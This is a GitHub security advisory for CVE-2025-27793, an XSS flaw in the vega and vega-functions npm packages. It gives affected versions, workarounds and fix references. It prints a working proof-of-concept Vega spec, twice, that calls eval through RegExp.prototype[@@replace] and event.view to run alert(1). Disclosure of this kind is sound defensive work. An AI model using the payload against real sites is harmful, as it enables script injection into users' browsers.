GHSA-963H-3V39-3PQF

Vulnerability from github – Published: 2025-03-27 18:00 – Updated: 2025-03-27 18:00
VLAI?
Summary
Vega vulnerable to Cross-site Scripting via RegExp.prototype[@@replace]
Details

Impact

Users running Vega/Vega-lite JSON definitions could run unexpected JavaScript code when drawing graphs, unless the library is used with the vega-interpreter.

Workarounds

POC Summary

Calling replace with a RegExp-like pattern calls RegExp.prototype[@@replace], which can then call an attacker-controlled exec function.

POC Details

Consider the function call replace('foo', {__proto__: /h/.constructor.prototype, global: false}). Since pattern has RegExp.prototype[@@replace], pattern.exec('foo') winds up being called.

The resulting malicious call looks like this:

replace(<string argument>, {__proto__: /h/.constructor.prototype, exec: <function>, global: false})

Since functions cannot be returned from this, an attacker that wishes to escalate to XSS must abuse event.view to gain access to eval.

Reproduction steps

{"$schema":"https://vega.github.io/schema/vega/v5.json","signals":[{"name":"a","on":[{"events":"body:mousemove{99999}","update":"replace('alert(1)',{__proto__:/h/.constructor.prototype,exec:event.view.eval,global:false})"}]}]}
Severity ?
5.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "vega"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.32.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "vega-functions"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.17.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-27793"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79",
      "CWE-87"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-27T18:00:24Z",
    "nvd_published_at": "2025-03-27T14:15:54Z",
    "severity": "MODERATE"
  },
  "details": "## Impact\n\nUsers running Vega/Vega-lite JSON definitions could run unexpected JavaScript code when drawing graphs, unless the library is used with the `vega-interpreter`.\n\n## Workarounds\n\n- Use `vega` with [expression interpreter](https://vega.github.io/vega/usage/interpreter/)\n- Upgrade to a [newer Vega version](https://github.com/vega/vega/releases/tag/v5.32.0) (`5.32.0`)\n\n### POC Summary\n\nCalling `replace` with a `RegExp`-like pattern calls `RegExp.prototype[@@replace]`, which can then call an attacker-controlled `exec` function.\n\n### POC Details\n\nConsider the function call `replace(\u0027foo\u0027, {__proto__: /h/.constructor.prototype, global: false})`. Since `pattern` has `RegExp.prototype[@@replace]`, `pattern.exec(\u0027foo\u0027)` winds up being called.\n\nThe resulting malicious call looks like this:\n```\nreplace(\u003cstring argument\u003e, {__proto__: /h/.constructor.prototype, exec: \u003cfunction\u003e, global: false})\n```\n\nSince functions cannot be returned from this, an attacker that wishes to escalate to XSS must abuse `event.view` to gain access to `eval`.\n\n### Reproduction steps\n\n```\n{\"$schema\":\"https://vega.github.io/schema/vega/v5.json\",\"signals\":[{\"name\":\"a\",\"on\":[{\"events\":\"body:mousemove{99999}\",\"update\":\"replace(\u0027alert(1)\u0027,{__proto__:/h/.constructor.prototype,exec:event.view.eval,global:false})\"}]}]}\n```",
  "id": "GHSA-963h-3v39-3pqf",
  "modified": "2025-03-27T18:00:24Z",
  "published": "2025-03-27T18:00:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vega/vega/security/advisories/GHSA-963h-3v39-3pqf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27793"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vega/vega/commit/694560c0aa576df8b6c5f0f7d202ac82233e6966"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vega/vega"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vega/vega/releases/tag/v5.32.0"
    },
    {
      "type": "WEB",
      "url": "https://vega.github.io/vega/usage/interpreter"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Vega vulnerable to Cross-site Scripting via RegExp.prototype[@@replace]"
}


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  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



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